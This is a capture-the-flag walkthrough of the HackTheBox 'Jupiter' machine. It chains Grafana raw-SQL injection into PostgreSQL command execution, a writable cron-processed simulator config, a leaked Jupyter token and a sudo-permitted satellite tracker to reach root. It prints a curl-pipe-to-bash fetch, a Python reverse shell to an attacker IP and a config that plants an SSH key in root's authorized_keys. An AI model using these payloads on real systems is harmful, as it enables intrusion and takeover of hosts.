Home Jupiter - HackTheBox
Post
Cancel

Jupiter - HackTheBox

Jupiter is a very nice medium linux box on HackTheBox. It starts with exploiting an instance of Grafana that’s making an API call containing full SQL queries, which are executed without validation. You’ll then exploit a shadow simulator cron job to gain access to a local user. This will give you access to some log files containing access token for a local Jupyter Notebook instance. Privesc involves exploiting Arftracksat, a satellite tracker.


Jupiter




Recon


NMAP


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.80 scan initiated Thu Aug 24 09:04:09 2023 as: nmap -sC -sV -oN nmap.txt -v 10.10.11.216
Nmap scan report for 10.10.11.216
Host is up (0.51s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 24 09:05:24 2023 -- 1 IP address (1 host up) scanned in 75.15 seconds


Web


Redirects to jupiter.htb;

Subdomain bruteforce with ffuf revealed the subdomain kiosk.jupiter.htb;

This seems to be running Grafana. Going through the site and checking my proxy logs showed an interesting request to the endpoint /api/ds/query;

That rawSql parameter looks very interesting as it seems to contain a complete SQL query that the server ran. Replacing it with show version(), I got the database version in response;

Our target is running PostgreSQL.



Foothold


Running select current_user showed we are running queries as grafana_viewer. Testing if the server allows us to run shell commands by;

  1. Creating a table cmd_exec with column cmd_output for output exfil;
    • create table cmd_exec(cmd_output varchar(999999)))
  2. Fetching and executing shell.sh from my box, which contains a bash rev shell;
    • COPY cmd_exec FROM PROGRAM 'curl http://10.10.16.73/shell.sh | bash'



User


So we now have a shell on the box as postgres, which is the default PostgreSQL user. Going through the filesystem, some interesting files were found in /dev/shm;

1
2
3
4
5
6
postgres@jupiter:/dev/shm$ ls -l
total 32
-rw-rw-rw- 1 juno     juno       815 Mar  7 12:28 network-simulation.yml
-rw------- 1 postgres postgres 26976 Sep  2 08:15 PostgreSQL.3984354716
drwxrwxr-x 3 juno     juno       100 Sep  2 08:18 shadow.data
postgres@jupiter:/dev/shm$ 

Running pspy showed these files are processed by a cron job running as user juno;

The file network-simulation.yml seems to be the configuration file of Shadow Simulator;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s

This obviously contains shell commands, and we can write to it. My initial attempt to modify it with a reverse shell kept failing. So I just added a payload that copies /bin/sh to /tmp and make it SUID as juno, and it worked (I had to copy the file separately and then chmod it as the program somehow doesn’t like command chaining);

1
2
3
4
5
6
7
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /bin/cp
      args: /bin/sh /tmp/sh
      start_time: 5s
1
2
3
4
5
6
7
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /bin/sh
      args: 4755 /tmp/sh
      start_time: 5s

Note that I was still getting a permission denied error when attempting to read his files, akthough id showed my effective ID has been changed to juno;

.ssh directory exists, and there is an empty authorized_keys file, so I dropped an SSH key into it, and was able to login;



PrivEsc


ss -ltnp showed there is a hidden service running locally on port 8888. This turns out to be an instance of Jupiter Notebook;

We can’t access it since we do not have a token. Going through the filesystem, I found a token in the log files at /opt/solar-flares/logs, which gave me access;

I created a new notebook and ran python reverse shell;

1
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.73",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

User has sudo perms on /usr/local/bin/sattrack, which turned out to be arftracksat;

Setting up the tool locally and figuring out how it works, I discovered the tlesources array in it’s config accepts a list of URLs to download .tle files from, and save them to the path defined in tleroot. Knowing this, I was able to drop an SSH key into the root user’s authorized_keys file using the following config (light reversing showed it expects a config file at /tmp/config.json);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
  "tleroot": "/root/.ssh/",
  "tlefile": "weather.txt",
  "mapfile": "/usr/local/share/sattrack/map.json",
  "texturefile": "/usr/local/share/sattrack/earth.png",
  
  "updatePerdiod": 3000,

  "tlesources": [
    "http://10.10.16.73/authorized_keys"
  ],

  "station": {
    "name": "NOAA 15",
    "lat": 37.6725,
    "lon": -1.5863,
    "hgt": 335.0
  },

  "show": [
    "NOAA 15"
  ],

  "columns": [
    "name",
    "azel",
    "dis",
    "geo",
    "tab",
    "pos",
    "vel"
  ]
}



Summary


  • NMAP found port 22 and 80
  • Site running an instance of Grafana;
    • Found an endpoint that accepts and execute raw SQL queries.
    • Exploited it to gain a shell on the box as postgres.
  • Inside as postgres;
    • Exploited Shadow Simulator to gain a shell as juno
  • Inside as juno;
    • Recovered Jupyter Notebook token from log files.
    • Gain code execution as jovian.
  • Inside as jovian;
    • Exploited sudo perms on Arftracksat steal root SSH key.
This post is licensed under CC BY 4.0 by the author.
Contents